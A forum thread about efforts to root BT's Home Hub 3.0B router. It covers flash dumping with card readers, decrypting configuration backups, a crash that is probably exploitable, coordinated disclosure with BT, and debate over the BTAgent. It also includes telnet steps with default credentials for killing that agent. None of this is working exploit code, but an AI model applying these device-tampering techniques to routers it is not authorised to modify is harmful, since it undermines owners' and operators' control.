The maestro will be along in due course and, undoubtedly, will have some more words to post on this topic. ;)
-
Hello Zack!
Welcome to the lunatic asylum!
The (buggy) f/w for the HH3.0b is dumped as you've already found.
The idea is to modify the embedded (JFFS2) flash file system in that dump, removing firewall rules as necessary and re-enabling telnetd and/or sshd, to allow shell access. The plan then is to rebuild the firmware to include that modified file system. And finally to reprogram the flash with it.
In theory, simple enough.
Though it looks like the firmware is digitally signed. And it may be that the (closed-source) HH3.0b bootloader uses that signature to verify the integrity of the firmware (kernel + file system) before booting any further.
Next intermediate plan, as mentioned above, is to fit a NAND flash IC cradle onto the board of the HH3.0b.
The photo below shows a selection of boards for NAND flash prototyping. Hopefully one of those black cradles shown at top-centre in the photo can be secured to the hole in the PCB where the NAND flash IC once lived!
This would allow for arbitrary firmware to be programmed into the NAND using a separate programmer.
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww3.picturepush.com%2Fphoto%2Fa%2F9339341%2F480%2FNAND-flash-hacking%2FDSC-0842.1280.jpg&hash=e003e2839414ad105eb90035a414651dfa90752f)
(click for full size) (http://picturepush.com/public/9339341)
cheers, a
-
Hi there - I am Glad that Zach has made it here. - Didn't want to spoil the fun / surprise there. ;)
Getting a hold of HH3 (Rev b) is becoming difficult - BT are no longer sending them out - and switching back to the type a's for the moment. which kinda sucks but i have a friend who works for BT and has said that they will help me out bringing me HH3 B's that end up being replaced with type A's
I have one in stock shall we say! anyone need it?
-
Thank you for the warm welcome. The progress everyone has made so far is impressive.
I think I'll start by investigating the integrity checking on firmware images. Hopefully there will be a weakness there we can exploit.
Zach
-
Getting a hold of HH3 (Rev b) is becoming difficult - BT are no longer sending them out - and switching back to the type a's for the moment. which kinda sucks but i have a friend who works for BT and has said that they will help me out bringing me HH3 B's that end up being replaced with type A's
It looks like the HH3.0b is being issued again to new Blighty Telco customers. Here's one specimen, from the BT Care in the Community forums:
From: http://community.bt.com/t5/BB-Speed-Connection-Issues/New-to-BT/m-p/627436
New to BT on 07-09-2012 10h59
Hi,
Been with BT for 3 days now and really disappointed on a number of fronts.
[...]
Information for Helpdesk agents:
1. Product name: BT Home Hub 3.0B
2. Serial number: +058721+1209309785
3. Firmware version: V100R001C01B031SP12_L_B. Last updated 04/09/12
4. Board version: VER.D
5. ADSL uptime: 0 day, 06:12:55
6. Bandwidth: 448/256
7. Data sent/received: 10361388/120208497
8. Broadband username: bthomehub@btbroadband.com
9. BT FON: Yes
9b. Shoe size: 8 (left) 8½ (right)
10. Wireless network/SSID: BTHub3-FRX2
11. Wireless connections: Enabled (b/g/n, 20M, WPS Disabled)
12. Wireless security: WPA and WPA2
13. Wireless channel: Automatic/1
14. Firewall: Default
15. MAC Address: 10:C6:1F:E8:49:88
16. VPI/VCI: 0/38
17. Line profile: Interleaved
18. Software variant: 12_L_B
19. Boot loader: 1.0.37-106.5
I have one in stock shall we say! anyone need it?
That's very generous of you, SecTSys, but I'm stuffed with routers at the moment. Someone else, maybe?
cheers, a
-
This may be a silly question, but is there a way to disable PPoE on this device? I'd like to assign an address either statically or with DHCP to the WAN port.
Thanks
-
I would be interested SecTSys.
-
Send me the details of the address in a pm and i will have that sent to you next week arobert
-
This may be a silly question, but is there a way to disable PPoE on this device? I'd like to assign an address either statically or with DHCP to the WAN port.
Thanks
In order to disable the PPoE on the hh3 - we have to get into the firmware i believe and would have to do that via telnet!
If you want to assign an address to the HH3 you can do this manually in the options available.
(From Default)
1. In Browser go to 192.168.1.254 and log into your router.
2. Enter advanced settings
3. Click "Home Network"
4. Select sub menu "IP Addresses"
5. Select the bottom option (Radial button) "Configure Manually"
This will enable you to change the IP address that you use as a default gateway and the subnet mask as well as the IP address range that is assigned to devices that connect up to it.
I hope this helps
-
I saw your post on the BT hub 3.0 nand dump using a sm/xD card reader. Can I ask where you did buy that spesific modell? Thanks for posting all the info and pictures, it helps me on my project!:)
Hi toffit,
The Genesys Logic GL827 card reader? It was 99p from ebay. The seller is in sunny Smethwick, iirc. Anywhere near you?
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww2.picturepush.com%2Fphoto%2Fa%2F8755465%2F480%2Fhomehub3.0b%2Fhh3.0b-nandremoved3.png&hash=85c5310bbb0aa6585f852e7fae5c209f3006c53c)
modified USB reader for SM/XD cards (Genesys Logic GL827 controller) (click to enlarge) (http://picturepush.com/public/8755465)
That card reader is not however the best choice for NAND hacking since it needs modifying. It is hardwired for xD-Picture cards. The GL827 controller uses (active low) lines to detect a xD-Picture and a SmartMedia card (signals XD_CDZ on pin 1 and SM_CDZ on pin 2. So these need swapping. See GL827 Datasheet here [1] )
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww3.picturepush.com%2Fphoto%2Fa%2F9672041%2F480%2Fhomehub3.0b%2Fgl827.png&hash=551def21b31d5eb32c708a83564cbcec0b90fb6e) (http://picturepush.com/public/9672041)
The GL827 also handles automatically the Error Correction Code specified in the xD and SM card standards. However, the embedded device (BT Home Hub or whatever), will almost certainly use a different ECC algorithm in its own NAND driver. So while the GL827 is fine for dumping the NAND contents, it is probably no good for re-flashing new data into the NAND (since there is no control over the ECC contents).
Currently, just experimenting with a different (obsolete) card reader for NAND hacking - the Olympus MAUSB-10.
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww4.picturepush.com%2Fphoto%2Fa%2F9672462%2F480%2Fhomehub3.0b%2FMausb-10.jpg&hash=23dd233e051a849245361e2a4424110543be67a5)
Olympus MAUSB-10
(click for full size) (http://picturepush.com/public/9672462)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww5.picturepush.com%2Fphoto%2Fa%2F9673723%2F480%2Fhomehub3.0b%2Fmausb10-pcb.jpg&hash=714958a9e7541c1eb53de2e228c5b13d0e135f43)
Olympus MAUSB-10
(click for full size) (http://picturepush.com/public/9673723)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww4.picturepush.com%2Fphoto%2Fa%2F9676452%2F480%2Fhomehub3.0b%2FDSC-0885.1280.jpg&hash=08d4de71f55e9e3a1a1254171c397b56a3524ed0)
Olympus MAUSB-10
(click for full size) (http://picturepush.com/public/9676452)
The MAUSB-10 is based on the 'Alauda' NAND controller IC, believed to be from RATOC Systems of Japan.
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww5.picturepush.com%2Fphoto%2Fa%2F9676443%2F480%2Fhomehub3.0b%2FDSC-0881.1280.jpg&hash=aaf6121a8ebef157cd71605b0016b920a1431541)
RG85550 a.k.a Alauda' NAND controller
(click for full size) (http://picturepush.com/public/9676443)
Daniel Drake discovered that the Alauda IC supports raw access to the whole NAND page [2]. Allowing arbitrary data to be written to the main area and the spare (out of band) area used for ECC. Which makes it a much more useful NAND controller. Potentially putting it in the same category as a $2000 commercial NAND flash programmer. [3]
Daniel's Linux kernel device driver for the Alauda is broken today (and no longer maintained) but cory1492 has generously released his ported code that runs in userspace using the libusb library. It works well in both Linux and BillyGatesWare. [4]
Once this is working as intended (testing at the moment with another board) it can be documented properly.
cheers, a
[1] http://www.genesyslogic.com/manage/upfile/12021817731.pdf
[2] http://www.reactivated.net/weblog/archives/2005/08/alauda-mausb-10/
[3] http://www.xeltek.com/Nand-Flash-Programming/
[4] http://www.xboxhacker.org/index.php?topic=15596
-
Send me the details of the address in a pm and i will have that sent to you next week arobert
Actually, I just realised this router cannot be unlocked so it won't be much use to me. Sorry for wasting your time :(.
-
Send me the details of the address in a pm and i will have that sent to you next week arobert
Actually, I just realised this router cannot be unlocked so it won't be much use to me. Sorry for wasting your time :(.
No worries.
-
Hi toffit,
The Genesys Logic GL827 card reader? It was 99p from ebay. The seller is in sunny Smethwick, iirc. Anywhere near you?
[.....]
Thank you so much:) No, im not from London. I will try it out and see if I can get it to work(if I can find it). I only need a dump for this time, but I will follow your progress on the new reader/writer board when you get time to document it.
-
Just a curiosity - Anyone made any progress?
-
Just a curiosity - Anyone made any progress?
No. :no: It's a right stubborn device, the HH3.0B. :(
-
Hi all,
I've got one of these and dismantled it last night to see what it had inside. Just wondering if anyone has investigated the 4 JTx holes in the board (JT3-6) - I can't see mention of them anywhere. Could they be waiting for JTAG connectors to be soldered in?
[edit] In fact - having looked at the pictures earlier on - I have a different Homehub 3B than shown - mine appears to be a different variant of the HH 3B board - it's marked BTHUB3 VER.A. Definitely a B though as the layout is pretty similar otherwise. I noticed the one in the pics is a VER D - so maybe they refined the design and removed the JT connectors.
I took some pics last night and have attached one of either side of the board, and JT3-6.
-
ok so how many versions of the HH3.0 B Board are there?
-
As jaydubya's photograph shows, a type "A" board. Both Asbokid's and my HH3.0B devices are type "D" boards. So applying minimalistic logic, there must be (at least) types "B" & "C" boards out there, somewhere . . . :angel:
I nearly forgot -- Welcome to the Kitz forum, JW. :)
-
Oh Great - so in regards to the Exploitation of the HH3 B then it looks like that if it is successful on one board it may not be on another, and now when the time comes i may need to open up my router and find out if the hacks are applicable!
-
just want to thank everyone for their hard work at cracking these routers...you guys rock!!
:)
welcome to forum new members SS and JW :)
-
Er, just to let people know - My HH3.0 Type B i had "In Stock" is not in stock and has been sent to someone about a week ago.
In the mean time however i do have 2 HH3 Type A's Available. one used, but reset to default
The other Brand new and still in the box!
-
I had a breakthrough yesterday. I don't want to share details just yet, but hopefully I'll have something good over the weekend or early next week.
Just FYI: my goal, is to get an interactive shell on a live device. I think that should be useful. I want to be sure no one has accomplished this already. Please let me know if we can do this already and I missed it somehow.
-
I haven't seen or heard any mention of this as of yet on the HH3 B so That is great news.
-
I had a breakthrough yesterday.
That is excellent news, Zach. Like STS, I am unaware of anyone else making any developments.
hopefully I'll have something good over the weekend or early next week.
:fingers:
-
hopefully I'll have something good over the weekend or early next week.
:fingers:
Indeed :fingers:
-
Just a quick status update. I've had a few minor successes, but so far I still don't have access.
I've spent many hours disassembling the executables and libraries in IDA Pro[1], and most of the code on this device is very robust. I'm not seeing the low-hanging fruit that we find on many vendors' products.
However I did find one program that looks fairly promising, if I can get it running in a debugger.
I'll update again when I know more.
[1] None of which would be possible without asbokid's dump of the root filesystem. Nice work.
-
I've spent many hours disassembling the executables and libraries in IDA Pro[1], and most of the code on this device is very robust. I'm not seeing the low-hanging fruit that we find on many vendors' products.
It seems that the HH3.0 B is quite a secure router then in comparison to typical routers such as netgear, which boosts my confidence on using the HH3.0 B
I do however wish to add another task to the process.
Is it possible to get into the Router in order to add a blocklist for example if i wanted to block Chinese IP addresses at the router, - I will check to see if this is possible at the modem, but basically to have this feature on a router i feel is essential. and my FTP servers been getting a lot of attention lately from Chinese IP's.
my ESET Firewall and the Titan FTP Server i have are more than capable of handling it and all ip Addy's that attempt and fail are blocked instantly. but I would rather they were not coming into my network at all. hence adding the ability to block things at the router level, so that it will just drop the packets from said IP Addresses rather than forward them.
-
It seems that the HH3.0 B is quite a secure router then in comparison to typical routers such as netgear, which boosts my confidence on using the HH3.0 B
Agreed. Though it does carry on quite a bit of business with the mothership, the details of which aren't visible to the user.
I do however wish to add another task to the process.
Is it possible to get into the Router in order to add a blocklist for example if i wanted to block Chinese IP addresses at the router, - I will check to see if this is possible at the modem, but basically to have this feature on a router i feel is essential. and my FTP servers been getting a lot of attention lately from Chinese IP's.
That shouldn't be a problem, once we have interactive shell access (as root). However, one of my minor successes (which I was initially very excited about) is that I have been able to decrypt and re-encrypt/re-sign the device's configuration backup file. I can make changes to the configuration and upload the modified backup file via the web interface's configuration restore facility. Unfortunately, as far as I can tell, there aren't any settings that can be modified in the backup file that aren't already exposed via the web interface. :-( I was hoping there would be hidden settings that could be tweaked. Sadly, I don't see any way to block IPs or IP ranges by modifying and uploading the config file or through the web interface.
You can see for yourself by running strings on the configuration management library, and grepping for "BackupFile":
strings bthh3.0b-rootfs/lib/libcfmapi.so | grep BackupFile
This reveals the XML tags in the encrypted backup file that get transformed to and from the device's running XML configuration.
I do have some of the device's code running in QEMU and am debugging it in IDA Pro's debugger. Hopefully this analysis will expose additional attack vectors.
I'll keep you posted as I know more.
Cheers.
-
your a gentleman and a scholar zcutlip.
keep up the good work - i am going to have a look at those files you just mentioned!
-
zcutlip: looks like fantastic work so far. pls drop an occasional post in PSIDOC to keep the community up to date.
Can I get that root filesystem/flash dump complete anywhere? And the config file encrypt/decrypt code? (email me if you'd rather not post it...)
(got them now :) ).
btsimonh
-
has anyone seen a firmware upgrade image for the v3b?
s
-
has anyone seen a firmware upgrade image for the v3b?
s
I know I haven't. It's tricky since the device updates itself[1] from the mothership automatically and in the background. However if I can get a root shell on it, it should be possible to let it receive the firmware image but disable the actual updating step. Then snag the image off the device. At least that's what I'm hoping to do.
I suspect the image is signed and possibly encrypted. It will be interesting to see how it's signed/encrypted and if there are any weaknesses there.
Zach
[1] Or are updates pushed to it via TR-069 CPE management? Hard to say at this point. I've messed around a bit with emulating BT infrastructure and proxying HTTP requests between BT[2] and the device to analyze the conversation, but I haven't gotten far into that just yet.
[2] A fun trick since I'm not in the UK and don't have BT service. ;-)
-
yeah i see what you mean there - i couldn't get anywhere with the backup files - and there was no hidden settings or anything that I could see either...
Other than that you lot are working at a level much higher than my Pay grade - so i think as of now - i will still look at and poke about with things you all find. - but there really isn't much i can do here...
If i do find anything i will let you know but...
Happy Hacking people!
-
just want too further reiterate a thanks for everything your doing on cracking the BTHH3B :)
-
I'm happy to help. This is a fun project, and I'm learning a bunch along the way. Thanks to SecTSys for inviting me to play along.
-
Gah - No worries Zcutlip, - when i saw you featured on the Hak5 show - and saw the work you did, - and half knowing that everyone here including myself was a little bit stumped on this i thought what would proove a betteer challenge than this for you.
I hope i was right! ;)
-
Good news today. I am able to crash one of the applications from asbokid's firmware dump and can control the CPU's instruction pointer (PC register in the embedded picture). Currently I'm doing this in qemu, and have a fair amount of work in order to turn it into a working exploit, but this is an important step.
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fs3.amazonaws.com%2Fimgly_production%2F5845329%2Flarge.jpg&hash=906a7fb25351fcbad97ab2867fc369d3393fb9ce)
Zach
-
wow ok - this sounds promising.
-
I know I haven't. It's tricky since the device updates itself[1] from the mothership automatically and in the background.
Zach
[1] Or are updates pushed to it via TR-069 CPE management? Hard to say at this point. I've messed around a bit with emulating BT infrastructure and proxying HTTP requests between BT[2] and the device to analyze the conversation, but I haven't gotten far into that just yet.
[2] A fun trick since I'm not in the UK and don't have BT service. ;-)
One thing I have done last year is to run the V3B in it's fibre mode - here it talks ppp over IP to the second fibre router.
A V2B running OpenWRT can be the ppp server, and so can intercept all traffic on the IP link.
I read here http://punj-technology.blogspot.co.uk/2012/04/bt-homehub-v-3-open-ports-161-and-4567.html that there was an update to the firmware in sept 2012, so if anyone has a non-updated unit, they may get one shot at seeing the URL it goes to for the update. In this arrangement, I'd assume it's TR-069 interface is innoperative, so it TR-069 is involved in the update, it's likely not to work :).
s
-
Hello,
It's been a while since I last posted, so I wanted to update everyone who is following this thread with what's been going on recently.
I should introduce myself more formally. My name is Zachary Cutlip. I work for a boutique computer security firm in the US called Tactical Network Solutions[1]. We specialize in vulnerability research and advanced exploitation targeting embedded devices such as WiFi routers and other network gear. If you've heard of the Reaver WPS exploitation tool[2], that's us. TNS has been super cool about allowing me to pursue this HomeHub 3.0 research as a sort of freelance project.
A couple of weeks ago I had a significant breakthrough by being able to crash one of the applications on the HH3b in a way that I believe to be exploitable. Much to my surprise, this caught the attention of British Telecom, whose head of security contacted me directly at my work email address. This is surprising because at TNS we've never before been contacted by a vendor regarding our research on their products.
In contacting us, BT is asking for priority access to my research (specifically the application crash I'm able to produce) prior to our releasing details publicly. I think this reflects well on BT; to be frank, many vendors don't have much regard for their customers' security. Clearly BT is apart from the norm in this way.
Currently we are trying to work out an arrangement with BT that will be equitable for them and for us. We hope to provide BT with priority access to our research, and then to release public details some time later. We think this seems fair.
For now, I won't be posting much here, if at all. It would be inappropriate to disclose details publicly, before we've figured things out with BT.
In the mean time, be sure to follow us on Twitter (@tacnetsol, @zcutlip) and check out our website.
Happy hacking,
Zach
[1] http://www.tacnetsol.com
[2] http://hakshop.myshopify.com/products/reaver-pro
-
Very interesting news, Zach. Thank you for taking the time to post this update.
As for reaver, yes I know it -- but not intimately well. ;)
-
@Zach,
kudos to you for your efforts and your candor and to BT for their awareness of the situation.
BT claim to have 5 million broadband subscribers so there are a lot of BT Home Hub V3b devices out there. The UK telecoms market is open and vibrant. Subscribers change suppliers in response to market conditions, yet the BTHHV3B can only be used as the main modem/router with BT as the ISP. It cannot be configured, for example, as a secondary wireless access point with ethernet access to a main hub or as a wireless bridge.
As such, these devices are essentially junk when BT subscribers move to another ISP. You can only use it with BT, in a very limited way, and if you move from BT what do you do with it? Chuck it in the trash - more landfill is just what we need. While this device is listed on the BT website at a price of £99, is it any wonder they are available on ebay for a few quid.
There are many parts of the planet where schools, and the like, would love to have these devices running OpenWRT.
Just my 2c.
-
Zach Cutlip succeeded in his efforts to hack the BT Home Hub 3B, see http://www.psidoc.com/showthread.php/823-Bt-home-hub-3-type-B?p=4714&viewfull=1#post4714
His video is here: https://vimeo.com/52954499
Well done, Zach, take a bow ;D
-
Well done, Zach, take a bow ;D
Thanks. :-)
However, as I posted earlier, I can't share the exploit or the details of the vulnerability until we've figured out how to proceed with BT. I hope that's soon, but until I've actually delivered something that helps people unlock their routers, I haven't earned any praise.
-
@zach
I hope TNS will not be bullied by BT. I have a BT HH 3B here in Ireland. It makes a great paper weight but is completely useless otherwise.
You get full credit for succeeding in your endeavours, I look forward to the publication of the exploit. I should be very interested in the rational BT put forward when they ask that you not publish the details. It is difficult to see how the fact that the device can be unlocked/rooted threatens their customer base.
-
Feel the same as DMcConnell, don't let BT stop you from eventually publishing. So many fair use reasons for end users to have proper access/use to hardware they own. For example I need to set static arp table entry so wake on LAN works from WAN - can't do that with hub 3b because I only have access to the restrictive web front end :( I shouldn't have to buy a new router for this.
-
hehehe - Nicely done, -
I can't share the exploit or the details of the vulnerability until we've figured out how to proceed with BT.
Doesn't the updated DMCA Laws allow people to hack and patch jailbreak and modify their equipment if it is for the purpose of securing equipment.
On those grounds alone you should be allowed to post the exploit...
The information derived from the security testing is used primarily to promote the security of the owner or operator of a computer, computer system, or computer network; and
The information derived from the security testing is used or maintained in a manner that does not facilitate copyright infringement or a violation of applicable law. (A new exemption in 2010.)
http://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act
And if i may say now that an exploit has been found i think my network is a little more vulnerable and therefore wish to secure it so the information you have shall be used for the purpose of securing my network and therefore you have a legal right to publish said exploit.
-
Doesn't the updated DMCA Laws . . .
I fail to see what relevance any Uncle Sam (http://en.wikipedia.org/wiki/Uncle_Sam) legislation has on this English techno-cat! :P
-
well TNS is in the US so technically it is subject to US law!!!
-
I wonder 'at what stage' its at with BT and ZACK , its very likely they will be asking him/TNS to share the info with them and then refrain from sharing it with the world or be sue'd for millions..or sumthin like that... until they can lock all current boxes via an update :P
eveyone should go out and buy HHv3B from eBay now lol...before they are updated and locked out! 8)
-
I wonder 'at what stage' its at with BT and ZACK , its very likely they will be asking him/TNS to share the info with them and then refrain from sharing it with the world or be sue'd for millions..or sumthin like that... until they can lock all current boxes via an update :P
eveyone should go out and buy HHv3B from eBay now lol...before they are updated and locked out! 8)
Im not sure what to make of this/BT. Its already been mentioned that being able to recycle these boxes could be enviromentally friendly.. the number of routers that are binned due to a change of SP is ridiculous.
Ive communitcated with BT/Broadcom in the past on their BT Voyager routers on a couple of things such as multicast and the BT staff were helpful and even provided me with info and commands that werent previously available.
Yet its strongly rumoured that its BT who put pressure on Thomson to lock down the ST585 v7 and later releases of other ST firmwares to no longer be able to work with DMT, nor to be able to tweak SNRM and get certain useful stats out of the router. It does seem to be their ethos these days to lock out so much useful data to people who have some understanding of whats going on, in order to prevent Joe Blogs from accidentally upsetting their connection and then go blubbing back to BT demanding a new router.
Whilst I can understand that there will always be the odd numpty doing something that they dont understand, the benefits from the communities such as this one, who use that information to be able to help their users, must surely cut down on their workload to their 1st line support.
-
I agree with you there Kitz - it would make sense for them to open up the routers more rather than lock them down, -
It is a well known fact that 99.8% of the software available on opensource and GPL is Virus free and very very secure. - simply because the access to the coding is there and people can see what is happening and what is being done.
If there is a small something that BT could do at the very least is allow us to see a list of firmwares released and provide a link to a copy of said firmware.
Even if it is completely locked down at least the provision of the firmware will allow people here and on psydoc for example to look at the possible exploits and methods of securing the router whilst allow a user more flexibility, plus with them unlocking the router by default to allow other ISPs onto the BT HH3, it would mean that we would be happier knowing that the only exploits we would need to do is out of self satisfaction rather than neccesity. It also means - as zach even agreed that one of the UKs more secure routers that is available on the market. will be selling more readily making their profits a little happier, and when our routers break down because of our modding we won't need to ask them for a new router - instead we would be able to re-install the firmware and attempt a recovery of the device ourselves.
Now doesn't that make better business sense too.
-
The best option now would be for BT to release the open source and allow those who want to to use other firmware on the device if they wish by providing a firmware update mechanism.
Of course the trouble is that the router suppliers have done a deal with the ISPs that the routers are locked down, else the router suppliers lose out on sales of more open units at full price. However, the number of routers sold as fully-featured open routers is probably small, especially from the manufacurers involved here, so maybe the likes of BT can be swayed.
It's not as though the installing of OpenWRt on a BT router reduces the security of their original firmware.... it actually absolves them of security responsibility. It does not lose BT revenue, and probably does not lose Haiwei revenue; so what is the thing with locking these down so tight?
btsimonh
-
There is the small matter of the Beattie Busy-Body (a.k.a. the BTAgent) that exists in the firmware of all modem/routers supplied by the BT Group plc.
As of yet, there is no public explanation as to what it does . . . so, acting the Devil's Advocate >:D , I suggest that the BT Group does not wish to give up its ability to 'snoop' on EUs activities. :-X >:(
-
wow ok just found this - looks like people have been trying to reverse engineer the BTAgent!!! (you may want to move this to a new topic if you wish to i don't mind)
http://huaweihg612hacking.wordpress.com/2011/08/01/what-does-the-btagent-do/ (page 1)
http://huaweihg612hacking.wordpress.com/2011/08/13/what-does-the-btagent-do-part-2/ (page 2)
http://huaweihg612hacking.wordpress.com/2011/08/14/what-does-the-btagent-do-part-3/ (page 3)
http://huaweihg612hacking.wordpress.com/2011/08/23/what-does-the-bt-agent-do-part-4/ (page 4)
(Though technically for the huawei hg612 still somewhat relevent to the subject of conversation.)
https://docs.google.com/folder/d/0B6wW18mYskvBODZjMTk1YmUtZDA0ZC00Y2NlLWEwYWItMjEyNmRjNTk0MWU5/edit?pli=1
Link to all the source codes derived from said project - and Asbokid is already aware of it it seems - having read the comments! lol) ;)
-
There is the small matter of the Beattie Busy-Body (a.k.a. the BTAgent) that exists in the firmware of all modem/routers supplied by the BT Group plc.
As of yet, there is no public explanation as to what it does . . . so, acting the Devil's Advocate >:D , I suggest that the BT Group does not wish to give up its ability to 'snoop' on EUs activities. :-X >:(
and on this router the haiwei agent too (would that be a chinese secret agent :) )
I completely understand that BT need to keep the agent source private, and the need for remote management, and that the provision of opt-in use of your hub by others to extend the BT wireless reach, but for the small minority who want to use the device with another ISP or who want to do more advanced things with the router, the ability to develop/install firmware of their choice should not be blocked.
I'm sure BT are not really concerned about the minority who want to hack the hardware from the local LAN, their problem is that they don;t need another 'BT Homehubs are insecure' scandal. If the public (and the IT news industry) understood that the ability to access a hub at root level from the local LAN in a controlled way is NOT a security risk, then this would not be a new scandal, but unfortunately it's likely to be reported as 'another BT homhub security hole'.
Funny thing is that if the hub was Open to root access and modding, then we'd not be in a position where we have to find 'exploits', and so no scandals would be apparent.
Let's hope for BT's sake this exploit is not exploitable from the WAN :).
-
This whole subject of the Agents is what worries me. I can see no reason for remote management of anything which is on my property without my full knowledge and agreement of what can be done and to my mind there is no reasonable excuse for having these tools available to a behemoth like BT.
I know from reading the stuff on that blog that the BTAgent has RSA security but no one knows who holds the private key and as far as I know BT do not publicise the existence of the agent or its use to the end user. Lets face it RSA keys are hackable and not with huge difficulty.
This to me is a significant problem and why IF I ever get FTTC I will replace the BT device with one totally under my own control. I know from a local security point of view I can secure my local network by using my own router connected to the BT kit but that would no prevent anything being done without my knowledge to the BT router which might compromise my data being transmitted across the net. I'm sure that there are folks with criminal intent right now attempting to hack these BT routers and the like for nefarious purposes, whether they succeed or not is not the point though.
Stuart
-
A Chinese Agent, A russian Agent and a BT Agent and they are sat talking in a bar, the Chinese Agent says - Our people can hack your people,
The russian Agent says, We know, but our people can wake up in your country any time we command it and set of a number of small nuclear weapons.
The BT Agent looks at the Barman and says - Lightly salted please...
-
There is the small matter of the Beattie Busy-Body (a.k.a. the BTAgent) that exists in the firmware of all modem/routers supplied by the BT Group plc.
As of yet, there is no public explanation as to what it does . . . so, acting the Devil's Advocate >:D , I suggest that the BT Group does not wish to give up its ability to 'snoop' on EUs activities. :-X >:(
I havent looked into this nor had chance to read the info at the other place (Im mega busy atm and havent even caught up on here with the past few days posts yet), but one thing I do feel worthy of comment is TR-069.
I certainly dont have time to revisit the subject again, but I will say that several years ago (circa 2005?) I recall having several conversations with an ISP who were at the time considering implementing TR-069 in supplied routers.
There were several concerns that I had as an end-user such as how secure it was and if it was used to update firmware, if user config changes would be retained - we all know such info is usually lost during a firmware upgrade.
Being the cynic I am, and not just relying on the ISP assurances, I also came home spent a few days doing my own research in order to satisfy myself that I wasn't just being fed the standard marketing hype, that some ISPs were known to do ;).
My conclusion was that although I personally would like full control over my own router.... there certainly were many benefits for both the ISP and the 'average joe-blogs type' user for using TR-069... and most of my initial fears/worries were unfounded.
I would however like a function for advanced users who wanted to be in control of their own router to be able to opt out of this feature. This is something that is largely not considered as an option especially when it comes to the likes of BT supplied routers :/
TR-069 is normally considered and most likely most well known as the protocol responsible for keeping the router firmware up to date, but there are also many other 'bolt ons' that can be added. For example a few are:-
~ Remotely accessing router config files
~ Getting real time line stats from the router
~ Monitoring router supplied info in a similar way which the advanced user may use SNMP to monitor and access & record their line stats over a period of time.
~ Setting QoS at an ISP level for various protocols/types of traffic.
This (QoS) then leads me on to BT Fon - perhaps more commonly known as BT wi-fi - which I should imagine is likely to be part of the BTAgent.
BT Fon capability is installed within all of the BT supplied routers such as the Home Hubs and shares part of the EU's available bandwidth to any other BT broadband user who has opted to be part of the wi-fi community. BT proudly claim that something like 4 million of their UK users are sharing part of their bandwidth making BT Fon one of the largest 'free' wi-fi networks available in the world.
Obviously they want they want as many of their users as possible on the BT Fon network, locking down their own supplied routers is one way of doing this. Just how many of BT Broadband customers know that by default they are sharing their bandwidth with anyone wanting to use BT's wifi network. Once youve installed non-BT firmware, or using your own router, then you are no longer sharing your bandwidth with the BT Fon network.
I should imagine that trying to find out exactly what the BT Agent is doing would be very hard to see for any non-BT EU as it would need to connect and authenticate with BT's ACS (servers controlling and running the TR-069 software interface at the other end).
-
wow ok just found this - looks like people have been trying to reverse engineer the BTAgent!!! (you may want to move this to a new topic if you wish to i don't mind)
..//snip//..
(Though technically for the huawei hg612 still somewhat relevent to the subject of conversation.)
Tough call, and like you say a topic in its own right... but also so very relevant to this conversation... and it would be hard splitting out which posts relate to which topic and some apply to both, so for now Im leaving it as one.
-
This whole subject of the Agents is what worries me. I can see no reason for remote management of anything which is on my property without my full knowledge and agreement of what can be done and to my mind there is no reasonable excuse for having these tools available to a behemoth like BT.
I know from reading the stuff on that blog that the BTAgent has RSA security but no one knows who holds the private key and as far as I know BT do not publicise the existence of the agent or its use to the end user. Lets face it RSA keys are hackable and not with huge difficulty.
This to me is a significant problem and why IF I ever get FTTC I will replace the BT device with one totally under my own control. I know from a local security point of view I can secure my local network by using my own router connected to the BT kit but that would no prevent anything being done without my knowledge to the BT router which might compromise my data being transmitted across the net. I'm sure that there are folks with criminal intent right now attempting to hack these BT routers and the like for nefarious purposes, whether they succeed or not is not the point though.
Stuart
I think I may have already covered some of your comments in my above post, before I read yours, so I wont go over them again, but worthy of comment is the security. I dont think there are many systems that are fully secure and their is always going to be some risk with anything.. but one thing I see mention of is who holds the key. Im severely running short on time now so can only point you in the direction to do your own research as Im spouting out stuff from memory about 7 yrs ago so Im willing to be corrected if someone wants to add anything further.
There isnt a key as such thats held by anyone, iirc there is a default key for 1st time connection, but after that your router and the specially provisioned TR-069 server and software negotiate their own key which is only known by the software*.
Im no expert on this but I should imagine any exploits would either have to be via the default key to a router which hasnt yet connected to the ACS and negotiate its own unique key... or hacking the ACS itself... or somehow tricking the ACS & router to think its a first connection... or packet sniffing (would that work as theyd have to be on the network first to intercept router and ACS data?)
*Using the info that is only known to the software, taking this forum as an example, even if someone where to hack the server, passwords are stored in such a way that only the software understands it... and it relies on 1) the info stored on the server (stored in a way which means nothing to a human), 2) the software and 3) password known by the user.
-
I would be willing to look into that with the BTAgent however i feel that there is a lot of work to do -
Difficult yes - Impossible no - as they say where there is a will there is a way - and my name is Will... so there is always a way.
I will lookinto it and if i come up with something i will start a new thread specifically aimed at the BT Agent - in the mean time,
How is Zach getting on with BT in regards to this exploit - and know that there is one i will be keeping one of my BT HH3 b's disconnected so that when the exploit is released i can plug that router in and take a look at things. :P
-
:hmm: Hmm . . . b*cat senses that a degree of misunderstanding has been shown in the latter posts to this thread.
The TR-069 protocol and the BTAgent are entirely different entities. Those persons with access to an unlocked Huawei HG612 (i.e. one of the two Openreach provided active NTEs for its NGA GEA product using VDSL2 over a metallic pathway to the EUs' premises) will see that by default the TR-069 protocol is disabled. The Beattie group do not use it! She uses her own 'secret agent' and 'busy-body', the BTAgent, which is hard-coded into the firmware . . . >:(
However, all is not lost for those persons who have a HG612 which has been flashed with the unlocked firmware. Steps to take:
(1) Obtain 'telnet' access to the device and login. (admin / admin)
(2) At the 'ATP>' prompt invoke a busy-box shell. (shell)
(3) Obtain a listing of the running processes. (ps)
(4) Look in column five for the 'BTAgent' process and note the id of that process from column one.
(5) Exterminate that process by issuing a 'kill -TERM pid' command, where pid is the process id noted in (4), above.
(6) Now exterminate all the offspring of the 'BTAgent' (the spawn of the Devil) by issuing a 'killall btagent' command.
